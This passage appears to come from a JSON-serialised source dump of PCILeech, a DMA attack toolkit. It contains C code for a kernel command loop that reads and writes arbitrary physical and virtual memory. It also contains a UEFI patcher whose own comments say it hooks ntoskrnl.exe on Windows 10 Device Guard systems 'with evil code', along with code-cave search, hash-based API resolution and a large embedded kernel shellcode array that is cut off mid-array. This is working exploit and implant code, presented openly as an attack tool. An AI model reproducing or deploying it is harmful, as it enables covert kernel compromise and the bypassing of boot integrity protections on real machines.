pk->_size);\n\t\t\t\t}\n\t\t\t\tpk->fn.MmUnmapIoSpace(pvMM, pk->_size);\n\t\t\t\tpk->_result = TRUE;\n\t\t\t} else {\n\t\t\t\tpk->_result = FALSE;\n\t\t\t}\n\t\t}\n\t\tif(KMD_CMD_READ_VA == pk->_op) { // READ Virtual Address\n\t\t\tpk->fn.RtlCopyMemory(pvBufferOutDMA, (PVOID)pk->_address, pk->_size);\n\t\t\tpk->_result = TRUE;\n\t\t}\n\t\tif(KMD_CMD_WRITE_VA == pk->_op) { // WRITE Virtual Address\n\t\t\tpk->fn.RtlCopyMemory((PVOID)pk->_address, pvBufferOutDMA, pk->_size);\n\t\t\tpk->_result = TRUE;\n\t\t}\n\t\tpk->_op = KMD_CMD_COMPLETED;\n\t\tidleCount = 0;\n\t}\n}\n\n#define DATA_OFFSET_TRIGGER_COUNT\t0x02\n#define DATA_OFFSET_KMD_THIS\t\t0x08\n#define DATA_OFFSET_VFS\t\t\t\t0x0c\n#define DATA_OFFSET_PSCMD_KERNEL\t0x10\n#define DATA_OFFSET_PSCMD_USER\t\t0x14\nVOID c_EntryPoint_Thread(QWORD qwAddrNtosBase, QWORD qwAddrKmdBase)\n{\n\tPVOID(*MmMapIoSpace)(PHYSICAL_ADDRESS, SIZE_T, MEMORY_CACHING_TYPE);\n\tVOID(*MmUnmapIoSpace)(PVOID, SIZE_T);\n\tPVOID(*MmAllocateContiguousMemory)(SIZE_T, PHYSICAL_ADDRESS);\n\tPHYSICAL_ADDRESS(*MmGetPhysicalAddress)(PVOID);\n\tVOID(*RtlZeroMemory)(PVOID, SIZE_T);\n\tPVOID pvKMD, pvPA1000;\n\tPKMDDATA pk;\n\tDWORD i = 0, NAMES[32];\n\tQWORD vaAddrZero;\n\tMmMapIoSpace = (PVOID(*)(PHYSICAL_ADDRESS, SIZE_T, MEMORY_CACHING_TYPE))PEGetProcAddressH(qwAddrNtosBase, H_MmMapIoSpace);\n\tMmUnmapIoSpace = (VOID(*)(PVOID, SIZE_T))PEGetProcAddressH(qwAddrNtosBase, H_MmUnmapIoSpace);\n\tMmAllocateContiguousMemory = (PVOID(*)(SIZE_T, PHYSICAL_ADDRESS))PEGetProcAddressH(qwAddrNtosBase, H_MmAllocateContiguousMemory);\n\tMmGetPhysicalAddress = (PHYSICAL_ADDRESS(*)(PVOID))PEGetProcAddressH(qwAddrNtosBase, H_MmGetPhysicalAddress);\n\tRtlZeroMemory = (VOID(*)(PVOID, SIZE_T))PEGetProcAddressH(qwAddrNtosBase, H_RtlZeroMemory);\n\tpvKMD = MmMapIoSpace(0x3000, 0x1000, 0);\n\tif(!pvKMD) { return; }\n\tRtlZeroMemory(pvKMD, 0x1000);\n\tpk = (PKMDDATA)pvKMD;\n\tpk->AddrKernelBase = qwAddrNtosBase;\n\tpk->MAGIC = 0x0ff11337711333377;\n\tpk->OperatingSystem = KMDDATA_OPERATING_SYSTEM_WINDOWS;\n\tvaAddrZero = qwAddrKmdBase - *(PDWORD)(qwAddrKmdBase + DATA_OFFSET_KMD_THIS);\n\tpk->ReservedKMD[0] = vaAddrZero + *(PDWORD)(qwAddrKmdBase + DATA_OFFSET_VFS);\n\tpk->ReservedKMD[1] = vaAddrZero + *(PDWORD)(qwAddrKmdBase + DATA_OFFSET_PSCMD_KERNEL);\n\tpk->ReservedKMD[2] = vaAddrZero + *(PDWORD)(qwAddrKmdBase + DATA_OFFSET_PSCMD_USER);\n\tNAMES[i++] = H_ExFreePool;\n\tNAMES[i++] = H_MmFreeContiguousMemory;\n\tNAMES[i++] = H_MmAllocateContiguousMemory;\n\tNAMES[i++] = H_MmGetPhysicalAddress;\n\tNAMES[i++] = H_MmGetPhysicalMemoryRanges;\n\tNAMES[i++] = H_MmMapIoSpace;\n\tNAMES[i++] = H_MmUnmapIoSpace;\n\tNAMES[i++] = H_PsCreateSystemThread;\n\tNAMES[i++] = H_RtlCopyMemory;\n\tNAMES[i++] = H_ZwProtectVirtualMemory;\n\tNAMES[i++] = H_KeDelayExecutionThread;\n\twhile(i) {\n\t\ti--;\n\t\t*((PQWORD)&pk->fn + i) = PEGetProcAddressH(pk->AddrKernelBase, NAMES[i]);\n\t}\n\tpvPA1000 = MmMapIoSpace(0x1000, 0x1000, 0);\n\t*(PQWORD)((QWORD)pvPA1000 + 0xc0) = MmGetPhysicalAddress(pvKMD);\n\t*(PQWORD)((QWORD)pvPA1000 + 0xb0) = KMDDATA_MAGIC;\n\tMmUnmapIoSpace(pvPA1000, 0x1000);\n\tstage3_c_MainCommandLoop(pk);\n}\n\nVOID c_EntryPoint(QWORD qwAddrNtosBase, QWORD qwAddrKmdBase, QWORD qwCR3)\n{\n\tPVOID(*MmMapIoSpace)(PHYSICAL_ADDRESS, SIZE_T, MEMORY_CACHING_TYPE);\n\tVOID(*MmUnmapIoSpace)(PVOID, SIZE_T);\n\tPVOID pvPA1000;\n\tQWORD count;\n\tWORD cTrigger;\n\tMmMapIoSpace = (PVOID(*)(PHYSICAL_ADDRESS, SIZE_T, MEMORY_CACHING_TYPE))PEGetProcAddressH(qwAddrNtosBase, H_MmMapIoSpace);\n\tMmUnmapIoSpace = (VOID(*)(PVOID, SIZE_T))PEGetProcAddressH(qwAddrNtosBase, H_MmUnmapIoSpace);\n\tpvPA1000 = MmMapIoSpace(0x1000, 0x1000, 0);\n\tif(!pvPA1000) { return; }\n\tif((*(PQWORD)((QWORD)pvPA1000 + 0xa0) == qwCR3)) {\n\t\tcTrigger = *(PWORD)(qwAddrKmdBase + DATA_OFFSET_TRIGGER_COUNT);\n\t\tcount = *(PQWORD)((QWORD)pvPA1000 + 0xb8) = *(PQWORD)((QWORD)pvPA1000 + 0xb8) + 1;\n\t\tif(count == cTrigger) {\n\t\t\tMmUnmapIoSpace(pvPA1000, 0x1000);\n\t\t\t//INFO: it seems like we cannot create system thread due to security checks\n\t\t\t//PsCreateSystemThread = (NTSTATUS(*)(PHANDLE, ULONG, POBJECT_ATTRIBUTES, HANDLE, PCLIENT_ID, PKSTART_ROUTINE, PVOID))PEGetProcAddressH(qwAddrNtosBase, H_PsCreateSystemThread);\n\t\t\t//PsCreateSystemThread(&hThread, 0x1ffff, NULL, NULL, NULL, (PKSTART_ROUTINE)c_EntryPoint_Thread, (PVOID)qwAddrNtosBase);\n\t\t\t//INFO: hijack is fine with 'security' though =P\t\t\t\n\t\t\tc_EntryPoint_Thread(qwAddrNtosBase, qwAddrKmdBase);\n\t\t\treturn;\n\t\t}\n\t}\n\tMmUnmapIoSpace(pvPA1000, 0x1000);\n}\n"
  },
  {
    "path": "pcileech_shellcode/uefi_winload_ntos_patch.c",
    "content": "// uefi_winload_ntos_patch.c : hooks/patches ntoskrnl.exe!PsCreateSystemThreadEx with evil code.\n// evil code consists of:\n// - custom kernel module\n// - mount (vfs) payload (use with 'pcileech mount')\n// - pscmd payload (use with 'pcileech wx64_pscmd -9 1')\n//\n// (planned to be used in demo at 34c3)\n//\n// (c) Ulf Frisk, 2017\n// Author: Ulf Frisk, pcileech@frizk.net\n//\n// compile with:\n// cl.exe /O1 /Os /Oy /FD /MT /GS- /J /GR- /FAcs /W4 /Zl /c /TC /kernel uefi_common.c\n// cl.exe /O1 /Os /Oy /FD /MT /GS- /J /GR- /FAcs /W4 /Zl /c /TC /kernel uefi_winload_ntos_patch.c\n// ml64.exe uefi_common_a.asm /Feuefi_winload_ntos_patch.exe /link /NODEFAULTLIB /RELEASE /MACHINE:X64 /entry:main uefi_winload_ntos_patch.obj uefi_common.obj\n// shellcode64.exe -o uefi_winload_ntos_patch.exe \"UEFI WINLOAD NTOSKRNL.EXE PATCHER FOR DEVICE GUARD SYSTEMS\\n===========================================================\\nPatches ntoskrnl.exe!PsCreateSystemThread with executable set separately with\\nthe in parameter. Must be run from ExitBootServices. Targets Windows 10 with\\nDevice Guard only! Good value for num_threads_skip is 0x50.\\nSyntax: pcileech.exe uefi_winload_ntos_patch -in <patchfile> -0 <num_threads_skip>\\nGENERAL INFORMATION BELOW:%s\\n  Status           : %016llx\\n  NTOSKRNL.EXE     : %016llx\\n  Hooked Function  : %016llx\\n  Code Cave VFS    : %016llx\\n  Code Cave KMD    : %016llx\\n  Code Cave CMD #1 : %016llx\\n  Code Cave CMD #2 : %016llx\\n\"\n//\n#include \"uefi_common.h\"\n\n// ----------------------------------------------------------------------------\n// UTILITY FUNCTIONS BELOW:\n// ----------------------------------------------------------------------------\n\n/*\n* Calculate a ROR13 hash given an ANSI string.\n* -- sz\n* -- return\n*/\nDWORD HashROR13A(LPSTR sz)\n{\n\tDWORD dwVal, dwHash = 0;\n\twhile(*sz) {\n\t\tdwVal = (DWORD)*sz++;\n\t\tdwHash = (dwHash >> 13) | (dwHash << 19);\n\t\tdwHash += dwVal;\n\t}\n\treturn dwHash;\n}\n\n/*\n* Lookup address of function given a module base address and a ROR13 hash.\n* -- hModule = base address of PE to look for function in.\n* -- dwProcNameH = ROR13 hash of function name to lookup.\n* -- return = address of function, 0 = fail.\n*/\nQWORD PEGetProcAddressH(QWORD hModule, DWORD dwProcNameH)\n{\n\tPDWORD pdwRVAAddrNames, pdwRVAAddrFunctions;\n\tPWORD pwNameOrdinals;\n\tDWORD i, dwFnIdx, dwHash;\n\tLPSTR sz;\n\tPIMAGE_DOS_HEADER dosHeader = (PIMAGE_DOS_HEADER)hModule; // dos header.\n\tif(!dosHeader || dosHeader->e_magic != IMAGE_DOS_SIGNATURE) { return 0; }\n\tPIMAGE_NT_HEADERS ntHeader = (PIMAGE_NT_HEADERS)(hModule + dosHeader->e_lfanew); // nt header\n\tif(!ntHeader || ntHeader->Signature != IMAGE_NT_SIGNATURE) { return 0; }\n\tPIMAGE_EXPORT_DIRECTORY exp = (PIMAGE_EXPORT_DIRECTORY)(ntHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress + hModule);\n\tif(!exp || !exp->NumberOfNames || !exp->AddressOfNames) { return 0; }\n\tpdwRVAAddrNames = (PDWORD)(hModule + exp->AddressOfNames);\n\tpwNameOrdinals = (PWORD)(hModule + exp->AddressOfNameOrdinals);\n\tpdwRVAAddrFunctions = (PDWORD)(hModule + exp->AddressOfFunctions);\n\tfor(i = 0; i < exp->NumberOfNames; i++) {\n\t\tsz = (LPSTR)(hModule + pdwRVAAddrNames[i]);\n\t\tdwHash = HashROR13A(sz);\n\t\tif(dwHash == dwProcNameH) {\n\t\t\tdwFnIdx = pwNameOrdinals[i];\n\t\t\tif(dwFnIdx >= exp->NumberOfFunctions) { return 0; }\n\t\t\treturn (QWORD)(hModule + pdwRVAAddrFunctions[dwFnIdx]);\n\t\t}\n\t}\n\treturn 0;\n}\n\nBOOL PEGetSection(QWORD hModule, QWORD qwSzSection, PDWORD pdwSectionBaseRel, PDWORD pdwSectionSize)\n{\n\tPIMAGE_DOS_HEADER dosHeader = (PIMAGE_DOS_HEADER)hModule; // dos header.\n\tif(!dosHeader || dosHeader->e_magic != IMAGE_DOS_SIGNATURE) { return FALSE; }\n\tPIMAGE_NT_HEADERS ntHeader = (PIMAGE_NT_HEADERS)(hModule + dosHeader->e_lfanew); // nt header\n\tif(!ntHeader || ntHeader->Signature != IMAGE_NT_SIGNATURE) { return FALSE; }\n\tint nSections = ntHeader->FileHeader.NumberOfSections;\n\tfor(int i = 0; i < nSections; i++) {\n\t\tPIMAGE_SECTION_HEADER sectionHeader = (PIMAGE_SECTION_HEADER)(hModule + dosHeader->e_lfanew + sizeof(IMAGE_NT_HEADERS64) + i * sizeof(IMAGE_SECTION_HEADER));\n\t\tif(*(PQWORD)sectionHeader->Name == qwSzSection) {\n\t\t\t*pdwSectionBaseRel = sectionHeader->VirtualAddress;\n\t\t\t*pdwSectionSize = sectionHeader->Misc.VirtualSize;\n\t\t\treturn TRUE;\n\t\t}\n\t}\n\treturn FALSE;\n}\n\n// ----------------------------------------------------------------------------\n// \"SPECIALIZED\" UTILITY FUNCTIONS BELOW:\n// ----------------------------------------------------------------------------\n\n/*\n* When ExitBootServices() is called by winload.efi ntoskrnl.exe (and hvix.exe)\n* are already loaded and integrity checked by winload. The location of ntoskrnl\n* is randomized in memory, but is usually found between address: 0x01000000 and\n* 0x04000000.\n* -- return = base address of ntoskrnl.exe, 0 if fail.\n*/\nQWORD FindNtoskrnl()\n{\n\tQWORD qwA, o;\n\tBOOL fINITKDBG, fPOOLCODE;\n\tfor(qwA = 0x01000000; qwA < 0x04000000; qwA += 0x1000) {\n\t\tif(*(PWORD)qwA == 0x5a4d) { // MZ header\n\t\t\tfINITKDBG = FALSE;\n\t\t\tfPOOLCODE = FALSE;\n\t\t\tfor(o = 0; o < 0x1000; o += 8) {\n\t\t\t\tif(*(PQWORD)(qwA + o) == 0x4742444B54494E49) { // INITKDBG\n\t\t\t\t\tfINITKDBG = TRUE;\n\t\t\t\t}\n\t\t\t\tif(*(PQWORD)(qwA + o) == 0x45444F434C4F4F50) { // POOLCODE\n\t\t\t\t\tfPOOLCODE = TRUE;\n\t\t\t\t}\n\t\t\t\tif(fINITKDBG && fPOOLCODE) {\n\t\t\t\t\treturn qwA;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n\treturn 0;\n}\n\n/*\n* Locate a \"code cave\" - a place (in an executable section) consisting of zeros\n* in which we can put our main executable payload. Function searches forward\n* given a base address to find such a region of max qwSize bytes. Function is\n* dumb and in rare cases code cave returned might be in NX section.\n* -- hModule = base address to start searching from.\n* -- qwSize = size of code cave to locate; max 0x1000 and even QWORD required.\n* -- return = address of located code cave, 0 if fail.\n*/\nQWORD FindCodeCave(QWORD hModule, QWORD qwSize)\n{\n\tQWORD STR_SECTIONS_ALLOWED[] = {\n\t\t0x000000747865742e,\t// .text\n\t\t0x0000000045474150,\t// PAGE\n\t\t0x45444f434c4f4f50,\t// POOLCODE\n\t\t0x00004b4c45474150,\t// PAGELK\n\t\t0x0000444b45474150,\t// PAGEKD\n\t\t0x534c444845474150\t// PAGEHDLS\n\t};\n\tDWORD i, dwSectionBaseRel, dwSectionSize;\n\tQWORD qwACC;\n\tfor(i = 0; i < sizeof(STR_SECTIONS_ALLOWED) / sizeof(QWORD); i++) {\n\t\tif(!PEGetSection(hModule, STR_SECTIONS_ALLOWED[i], &dwSectionBaseRel, &dwSectionSize)) { continue; } // section not found\n\t\tif(qwSize > (0x1000 - (dwSectionSize & 0xfff))) { continue; } // code cave too small\n\t\tqwACC = hModule + dwSectionBaseRel + dwSectionSize;\n\t\tif(*(PQWORD)qwACC) { continue; } // not empty - code cave probably already taken ...\n\t\treturn qwACC;\n\t}\n\treturn 0;\n}\n\n// ----------------------------------------------------------------------------\n// SHELLCODE MODULES (COMPILED SEPARATELY) BELOW:\n// ----------------------------------------------------------------------------\n\n// specially compiled kernel module payload, compile and extract shellcode with:\n//\n// cl.exe /O1 /Os /Oy /FD /MT /GS- /J /GR- /FAcs /W4 /Zl /c /TC /kernel uefi_winload_ntos_kmd_c.c\n// ml64.exe uefi_winload_ntos_kmd.asm /Feuefi_winload_ntos_kmd.exe /link /NODEFAULTLIB /RELEASE /MACHINE:X64 /entry:main uefi_winload_ntos_kmd_c.obj\n// shellcode64.exe -o uefi_winload_ntos_kmd.exe\n// xxd -i uefi_winload_ntos_kmd.bin\nVOID GetData_KMD(PBYTE *ppb, PDWORD pcb)\n{\n\tBYTE WINX64_KMD_BIN[] = {\n\t\t0xeb, 0x16, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n\t\t0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n\t\t0x50, 0x44, 0x0f, 0x20, 0xc0, 0x84, 0xc0, 0x75, 0x6a, 0x53, 0x51, 0x52,\n\t\t0x57, 0x56, 0x41, 0x50, 0x41, 0x51, 0x41, 0x52, 0x41, 0x53, 0x41, 0x54,\n\t\t0x41, 0x55, 0x41, 0x56, 0x41, 0x57, 0x55, 0x48, 0x8d, 0x0d, 0xc2, 0xff,\n\t\t0xff, 0xff, 0x8b, 0x05, 0xc4, 0xff, 0xff, 0xff, 0x48, 0x2b, 0xc8, 0x8b,\n\t\t0x05, 0xb7, 0xff, 0xff, 0xff, 0x48, 0x03, 0xc8, 0x48, 0x8d, 0x15, 0xa9,\n\t\t0xff, 0xff, 0xff, 0x41, 0x0f, 0x20, 0xd8, 0x4c, 0x8b, 0xfc, 0x48, 0x81,\n\t\t0xec, 0x00, 0x01, 0x00, 0x00, 0x48, 0xc1, 0xec, 0x04, 0x48, 0xc1, 0xe4,\n\t\t0x04, 0xe8, 0xba, 0x00, 0x00, 0x00, 0x49, 0x8b, 0xe7, 0x5d, 0x41, 0x5f,\n\t\t0x41, 0x5e, 0x41, 0x5d, 0x41, 0x5c, 0x41, 0x5b, 0x41, 0x5a, 0x41, 0x59,\n\t\t0x41, 0x58, 0x5e, 0x5f, 0x5a, 0x59, 0x5b, 0x58, 0xc3, 0xcc, 0xcc, 0xcc,\n\t\t0x48, 0x8b, 0xc4, 0x48, 0x89, 0x58, 0x08, 0x48, 0x89, 0x68, 0x10, 0x48,\n\t\t0x89, 0x70, 0x18, 0x48, 0x89, 0x78, 0x20, 0x48, 0x63, 0x41, 0x3c, 0x8b,\n\t\t0xea, 0x33, 0xd2, 0x44, 0x8b, 0x84, 0x08, 0x88, 0x00, 0x00, 0x00, 0x4c,\n\t\t0x03, 0xc1, 0x45, 0x8b, 0x50, 0x20, 0x41, 0x8b, 0x78, 0x24, 0x4c, 0x03,\n\t\t0xd1, 0x41, 0x8b, 0x58, 0x1c, 0x48, 0x03, 0xf9, 0x41, 0x8b, 0x70, 0x18,\n\t\t0x48, 0x03, 0xd9, 0x85, 0xf6, 0x74, 0x2e, 0x45, 0x8b, 0x0a, 0x4c, 0x03,\n\t\t0xc9, 0x45, 0x33, 0xdb, 0xeb, 0x0d, 0x0f, 0xb6, 0xc0, 0x49, 0xff, 0xc1,\n\t\t0x41, 0xc1, 0xcb, 0x0d, 0x44, 0x03, 0xd8, 0x41, 0x8a, 0x01, 0x84, 0xc0,\n\t\t0x75, 0xec, 0x44, 0x3b, 0xdd, 0x74, 0x21, 0xff, 0xc2, 0x49, 0x83, 0xc2,\n\t\t0x04, 0x3b, 0xd6, 0x72, 0xd2, 0x33, 0xc0, 0x48, 0x8b, 0x5c, 0x24, 0x08,\n\t\t0x48, 0x8b, 0x6c, 0x24, 0x10, 0x48, 0x8b, 0x74, 0x24, 0x18, 0x48, 0x8b,\n\t\t0x7c, 0x24, 0x20, 0xc3, 0x0f, 0xb7, 0x14, 0x57, 0x41, 0x3b, 0x50, 0x14,\n\t\t0x73, 0xdf, 0x8b, 0x04, 0x93, 0x48, 0x03, 0xc1, 0xeb, 0xd9, 0xcc, 0xcc,\n\t\t0x48, 0x89, 0x5c, 0x24, 0x08, 0x48, 0x89, 0x6c, 0x24, 0x10, 0x48, 0x89,\n\t\t0x74, 0x24, 0x18, 0x57, 0x41, 0x56, 0x41, 0x57, 0x48, 0x83, 0xec, 0x20,\n\t\t0x48, 0x8b, 0xf2, 0x4d, 0x8b, 0xf0, 0xba, 0xf9, 0xbe, 0xdd, 0x05, 0x48,\n\t\t0x8b, 0xe9, 0xe8, 0x39, 0xff, 0xff, 0xff, 0xba, 0xc9, 0xc5, 0x6e, 0x6c,\n\t\t0x48, 0x8b, 0xcd, 0x48, 0x8b, 0xd8, 0xe8, 0x29, 0xff, 0xff, 0xff, 0x41,\n\t\t0xbf, 0x00, 0x10, 0x00, 0x00, 0x45, 0x33, 0xc0, 0x41, 0x8b, 0xd7, 0x41,\n\t\t0x8b, 0xcf, 0x48, 0x8b, 0xf8, 0xff, 0xd3, 0x48, 0x85, 0xc0, 0x74, 0x3a,\n\t\t0x4c, 0x39, 0xb0, 0xa0, 0x00, 0x00, 0x00, 0x75, 0x29, 0x0f, 0xb7, 0x4e,\n\t\t0x02, 0x48, 0xff, 0x80, 0xb8, 0x00, 0x00, 0x00, 0x48, 0x39, 0x88, 0xb8,\n\t\t0x00, 0x00, 0x00, 0x75, 0x15, 0x41, 0x8b, 0xd7, 0x48, 0x8b, 0xc8, 0xff,\n\t\t0xd7, 0x48, 0x8b, 0xd6, 0x48, 0x8b, 0xcd, 0xe8, 0x24, 0x00, 0x00, 0x00,\n\t\t0xeb, 0x08, 0x49, 0x8b, 0xd7, 0x48, 0x8b, 0xc8, 0xff, 0xd7, 0x48, 0x8b,\n\t\t0x5c, 0x24, 0x40, 0x48, 0x8b, 0x6c, 0x24, 0x48, 0x48, 0x8b, 0x74, 0x24,\n\t\t0x50, 0x48, 0x83, 0xc4, 0x20, 0x41, 0x5f, 0x41, 0x5e, 0x5f, 0xc3, 0xcc,\n\t\t0x48, 0x8b, 0xc4, 0x48, 0x89, 0x58, 0x08, 0x48, 0x89, 0x70, 0x10, 0x48,\n\t\t0x89, 0x78, 0x18, 0x55, 0x41, 0x54, 0x41, 0x55, 0x41, 0x56, 0x41, 0x57,\n\t\t0x48, 0x8d, 0x68, 0xa1, 0x48, 0x81, 0xec, 0xa0, 0x00, 0x00, 0x00, 0x48,\n\t\t0x8b, 0xda, 0x48, 0x8b, 0xf1, 0xba, 0xf9, 0xbe, 0xdd, 0x05, 0xe8, 0x89,\n\t\t0xfe, 0xff, 0xff, 0xba, 0xc9, 0xc5, 0x6e, 0x6c, 0x48, 0x8b, 0xce, 0x4c,\n\t\t0x8b, 0xf8, 0xe8, 0x79, 0xfe, 0xff, 0xff, 0xba, 0x57, 0x63, 0x32, 0x5a,\n\t\t0x48, 0x8b, 0xce, 0x4c, 0x8b, 0xe0, 0xe8, 0x69, 0xfe, 0xff, 0xff, 0xba,\n\t\t0xdb, 0x4f, 0x3d, 0xc5, 0x48, 0x8b, 0xce, 0x4c, 0x8b, 0xe8, 0xe8, 0x59,\n\t\t0xfe, 0xff, 0xff, 0x45, 0x33, 0xc0, 0xba, 0x00, 0x10, 0x00, 0x00, 0xb9,\n\t\t0x00, 0x30, 0x00, 0x00, 0x4c, 0x8b, 0xf0, 0x41, 0xff, 0xd7, 0x48, 0x8b,\n\t\t0xf8, 0x48, 0x85, 0xc0, 0x0f, 0x84, 0x03, 0x01, 0x00, 0x00, 0xba, 0x00,\n\t\t0x10, 0x00, 0x00, 0x48, 0x8b, 0xc8, 0x41, 0xff, 0xd6, 0x48, 0x89, 0x77,\n\t\t0x08, 0x4c, 0x8d, 0xb7, 0x58, 0x03, 0x00, 0x00, 0x48, 0xc7, 0x47, 0x50,\n\t\t0x01, 0x00, 0x00, 0x00, 0x48, 0x8d, 0x75, 0xe3, 0x48, 0xb8, 0x77, 0x33,\n\t\t0x33, 0x11, 0x77, 0x33, 0x11, 0xff, 0xc7, 0x45, 0xb7, 0x1f, 0x9d, 0x48,\n\t\t0x9d, 0x48, 0x89, 0x07, 0x48, 0x8b, 0xd3, 0x8b, 0x4b, 0x08, 0x8b, 0x43,\n\t\t0x0c, 0x48, 0x2b, 0xd1, 0x48, 0x03, 0xc2, 0xc7, 0x45, 0xbb, 0x92, 0xf5,\n\t\t0x45, 0x13, 0x48, 0x89, 0x47, 0x58, 0x8b, 0x43, 0x10, 0x48, 0x03, 0xc2,\n\t\t0xc7, 0x45, 0xbf, 0xbc, 0x1e, 0x36, 0x9f, 0x48, 0x89, 0x47, 0x60, 0x8b,\n\t\t0x43, 0x14, 0xbb, 0x0b, 0x00, 0x00, 0x00, 0x48, 0x03, 0xc2, 0xc7, 0x45,\n\t\t0xc3, 0x57, 0x63, 0x32, 0x5a, 0x48, 0x89, 0x47, 0x68, 0xc7, 0x45, 0xc7,\n\t\t0x6f, 0xa5, 0x77, 0x49, 0xc7, 0x45, 0xcb, 0xf9, 0xbe, 0xdd, 0x05, 0xc7,\n\t\t0x45, 0xcf, 0xc9, 0xc5, 0x6e, 0x6c, 0xc7, 0x45, 0xd3, 0x02, 0x6b, 0xa0,\n\t\t0x94, 0xc7, 0x45, 0xd7, 0x9b, 0x97, 0x64, 0xcf, 0xc7, 0x45, 0xdb, 0x89,\n\t\t0x4d, 0x3f, 0xbc, 0xc7, 0x45, 0xdf, 0x92, 0x6d, 0x58, 0x58, 0x48, 0x8b,\n\t\t0x4f, 0x08, 0x48, 0x8d, 0x76, 0xfc, 0x8b, 0x16, 0x4d, 0x8d, 0x76, 0xf8,\n\t\t0xe8, 0x7f, 0xfd, 0xff, 0xff, 0x49, 0x89, 0x06, 0x83, 0xc3, 0xff, 0x75,\n\t\t0xe5, 0xbe, 0x00, 0x10, 0x00, 0x00, 0x45, 0x33, 0xc0, 0x8b, 0xd6, 0x8b,\n\t\t0xce, 0x41, 0xff, 0xd7, 0x48, 0x8b, 0xcf, 0x48, 0x8b, 0xd8, 0x41, 0xff,\n\t\t0xd5, 0x48, 0x89, 0x83, 0xc0, 0x00, 0x00, 0x00, 0x8b, 0xd6, 0x48, 0xb8,\n\t\t0x77, 0x33, 0x33, 0x11, 0x77, 0x33, 0x11, 0xff, 0x48, 0x8b, 0xcb, 0x48,\n\t\t0x89, 0x83, 0xb0, 0x00, 0x00, 0x00, 0x41, 0xff, 0xd4, 0x48, 0x8b, 0xcf,\n\t\t0xe8, 0x23, 0x00, 0x00, 0x00, 0x4c, 0x8d, 0x9c, 0x24, 0xa0, 0x00, 0x00,\n\t\t0x00, 0x49, 0x8b, 0x5b, 0x30, 0x49, 0x8b, 0x73, 0x38, 0x49, 0x8b, 0x7b,\n\t\t0x40, 0x49, 0x8b, 0xe3, 0x41, 0x5f, 0x41, 0x5e, 0x41, 0x5d, 0x41, 0x5c,\n\t\t0x5d, 0xc3, 0xcc, 0xcc, 0x48, 0x89, 0x5c, 0x24, 0x10, 0x48, 0x89, 0x6c,\n\t\t0x24, 0x18, 0x56, 0x57, 0x41, 0x56, 0x48, 0x83, 0xec, 0x20, 0x48, 0x8b,\n\t\t0xd9, 0x48, 0xc7, 0x44, 0x24, 0x40, 0xf0, 0xd8, 0xff, 0xff, 0xb9, 0x00,\n\t\t0x00, 0x00, 0x01, 0x41, 0xbe, 0xff, 0xff, 0xff, 0xff, 0x33, 0xed, 0x41,\n\t\t0x8b, 0xd6, 0x8b, 0xf5, 0x48, 0x89, 0x4b, 0x18, 0xff, 0x93, 0x10, 0x03,\n\t\t0x00, 0x00, 0x48, 0x8b, 0xf8, 0x48, 0x85, 0xc0, 0x75, 0x2c, 0xb9, 0x00,\n\t\t0x00, 0x40, 0x00, 0x41, 0x8b, 0xd6, 0x48, 0x89, 0x4b, 0x18, 0xff, 0x93,\n\t\t0x10, 0x03, 0x00, 0x00, 0x48, 0x8b, 0xf8, 0x48, 0x85, 0xc0, 0x75, 0x12,\n\t\t0xb8, 0x01, 0x00, 0x00, 0xf0, 0x48, 0x89, 0x6b, 0x18, 0x48, 0x89, 0x43,\n\t\t0x30, 0xe9, 0xae, 0x01, 0x00, 0x00, 0x48, 0x8b, 0xcf, 0x48, 0x89, 0x7b,\n\t\t0x28, 0xff, 0x93, 0x18, 0x03, 0x00, 0x00, 0x48, 0x89, 0x43, 0x20, 0x41,\n\t\t0xbe, 0x01, 0x00, 0x00, 0x00, 0x48, 0x8b, 0x83, 0xf8, 0x0f, 0x00, 0x00,\n\t\t0x4c, 0x89, 0x73, 0x30, 0x48, 0x85, 0xc0, 0x75, 0x23, 0x49, 0x03, 0xf6,\n\t\t0x48, 0xb8, 0x00, 0xe4, 0x0b, 0x54, 0x02, 0x00, 0x00, 0x00, 0x48, 0x3b,\n\t\t0xf0, 0x76, 0xde, 0x4c, 0x8d, 0x44, 0x24, 0x40, 0x33, 0xd2, 0x33, 0xc9,\n\t\t0xff, 0x93, 0x50, 0x03, 0x00, 0x00, 0xeb, 0xcd, 0x48, 0xc7, 0x43, 0x30,\n\t\t0x02, 0x00, 0x00, 0x00, 0x48, 0x83, 0xf8, 0x03, 0x0f, 0x84, 0x2a, 0x01,\n\t\t0x00, 0x00, 0x48, 0x83, 0xf8, 0x04, 0x75, 0x4c, 0xff, 0x93, 0x20, 0x03,\n\t\t0x00, 0x00, 0x48, 0x8b, 0xf0, 0x48, 0x85, 0xc0, 0x75, 0x06, 0x48, 0x89,\n\t\t0x6b, 0x38, 0xeb, 0x38, 0x4c, 0x8b, 0xc5, 0x48, 0x39, 0x28, 0x75, 0x06,\n\t\t0x48, 0x39, 0x68, 0x08, 0x74, 0x09, 0x4d, 0x03, 0xc6, 0x48, 0x83, 0xc0,\n\t\t0x10, 0xeb, 0xec, 0x49, 0xc1, 0xe0, 0x04, 0x48, 0x8b, 0xd6, 0x48, 0x8b,\n\t\t0xcf, 0x4c, 0x89, 0x43, 0x48, 0xff, 0x93, 0x40, 0x03, 0x00, 0x00, 0x48,\n\t\t0x8b, 0xce, 0xff, 0x93, 0x00, 0x03, 0x00, 0x00, 0x4c, 0x89, 0x73, 0x38,\n\t\t0x48, 0x83, 0xbb, 0xf8, 0x0f, 0x00, 0x00, 0x05, 0x75, 0x18, 0x48, 0x8b,\n\t\t0xcb, 0x48, 0x39, 0xab, 0x68, 0x01, 0x00, 0x00, 0x74, 0x05, 0xff, 0x53,\n\t\t0x60, 0xeb, 0x03, 0xff, 0x53, 0x58, 0x4c, 0x89, 0x73, 0x38, 0x48, 0x8b,\n\t\t0x83, 0xf8, 0x0f, 0x00, 0x00, 0x49, 0x2b, 0xc6, 0x49, 0x3b, 0xc6, 0x77,\n\t\t0x5a, 0x48, 0x39, 0xab, 0x68, 0x01, 0x00, 0x00, 0x74, 0x4d, 0x48, 0x8b,\n\t\t0x53, 0x48, 0x45, 0x33, 0xc0, 0x48, 0x8b, 0x4b, 0x40, 0xff, 0x93, 0x28,\n\t\t0x03, 0x00, 0x00, 0x48, 0x8b, 